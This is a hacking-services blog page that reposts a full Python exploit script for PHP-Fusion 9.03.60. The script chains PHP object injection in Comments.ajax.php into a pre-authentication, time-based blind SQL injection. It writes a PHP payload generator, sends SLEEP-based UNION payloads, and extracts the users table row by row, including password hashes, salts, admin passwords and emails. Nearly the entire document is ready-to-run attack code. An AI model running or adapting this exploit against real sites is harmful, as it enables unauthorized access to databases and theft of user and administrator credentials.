Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86396743

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection
# Date: 2020-05-26
# Exploit Author: coiffeur
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
# Version: v9.03.60

# Description:
# PHP Object Injection to SQL injection (pre-auth)


import sys

import requests

import subprocess

GENERATOR_NAME = "gen.php"
GENERATOR_CONTENT = """<?php
if (count($argv) < 2) {
    echo 'Usage: php gen.php "<PAYLOAD>"';
    die;
}

$ar["comment_item_id"] = "1";
$ar["comment_item_type"] = $argv[1];

$payload = urlencode(base64_encode(serialize($ar)));
echo $payload;
?>
"""


DEBUG = 1
DELTA = None
TRESHOLD = 0.60
LIKE = "f%admin"
COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",
           "user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]


def usage():
    banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection
SYNOPSIS: python poi_to_sqli_9.03.50.py <URL>
DESCRIPTION:
    Dump the content of the table named fusionX...X_users
AUTHOR: coiffeur
    """
    print(banner)


def generator(action):
    if action == "w":
        with open(GENERATOR_NAME, "w") as f:
            f.write(GENERATOR_CONTENT)
    if action == "r":
        _ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)


def generate_payload(text):
    p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)
    out, _ = p.communicate()
    return out


def check(payload):
    datas = {"comment_options": generate_payload(payload)}
    r = requests.post(
        url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)
    return r.elapsed.total_seconds()


def evaluate_delay():
    global DELTA
    deltas = []
    payload = "' UNION SELECT SLEEP(2)-- - '"
    for _ in range(3):
        deltas.append(check(payload))
    DELTA = sum(deltas)/len(deltas)


def get_tbl_name_len():
    i = 0
    while 1:
        payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
        if check(payload) >= DELTA*TRESHOLD:
            return i-1
        if i > 100:
            print(f"[x] Exploit failed")
            exit(-1)
        i += 1


def get_tbl_name(length):
    tbl_name = ""
    for i in range(1, length+1):
        min, max = 0, 127-1
        while min < max:
            mid = (max + min) // 2
            payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
            if check(payload) >= DELTA*TRESHOLD:
                max = mid
            else:
                min = mid + 1
        tbl_name += chr(min)
        if DEBUG:
            print(f"[DEBUG] Table name: {tbl_name}")
    return tbl_name


def get_rows_number(tbl_name):
    i = 0
    while 1:
        payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"
        if check(payload) >= DELTA*TRESHOLD:
            return i
        i += 1


def get_elt_len(tbl_name, column_name, offset):
    i = 0
    while 1:
        payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
        if check(payload) >= DELTA*TRESHOLD:
            if DEBUG:
                print(
                    f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")
            return i-1
        i += 1


def get_elt(tbl_name, column_name, offset, length):
    elt = ""
    for i in range(1, length+1):
        min, max = 0, 127-1
        while min < max:
            mid = (max + min) // 2
            payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
            if check(payload) >= DELTA*TRESHOLD:
                max = mid
            else:
                min = mid + 1
        elt += chr(min)
        if DEBUG:
            print(
                f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")
    print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")
    return elt


def get_rows(tbl_name, row_number):
    print(f"[*] Trying to dump {tbl_name}")
    rows = []
    for offset in range(row_number):
        row = []
        for column_name in COLUMNS:
            elt_length = get_elt_len(tbl_name, column_name, offset)
            row.append(get_elt(tbl_name, column_name, offset, elt_length))
        print(f"[*] Row {offset}: {row}")
        rows.append(row)
    print(f"[*] Rows: {rows}")


def main():
    if len(sys.argv) < 2:
        print(usage())
        exit(-1)

    if DEBUG:
        print(f"[*] Target: {sys.argv[1]}")

    if DEBUG:
        print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")
    generator("w")

    evaluate_delay()
    if DEBUG:
        print(f"[*] Delta: {DELTA}")

    tbl_name_len = get_tbl_name_len()
    if DEBUG:
        print(
            f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")

    tbl_name = get_tbl_name(tbl_name_len)
    print(f"    Table name: {tbl_name}")

    prefix = f"{tbl_name.split('_')[0]}_"
    print(f"[*] Prefix: {prefix}")

    user_table_name = f"{prefix}users"

    number_of_rows = get_rows_number(user_table_name)
    if DEBUG:
        print(f"[*] {user_table_name} got {number_of_rows} rows")

    get_rows(user_table_name, number_of_rows)

    if DEBUG:
        print(f"[DEBUG] Removing  {GENERATOR_NAME}")
    generator("r")


if __name__ == "__main__":
    main()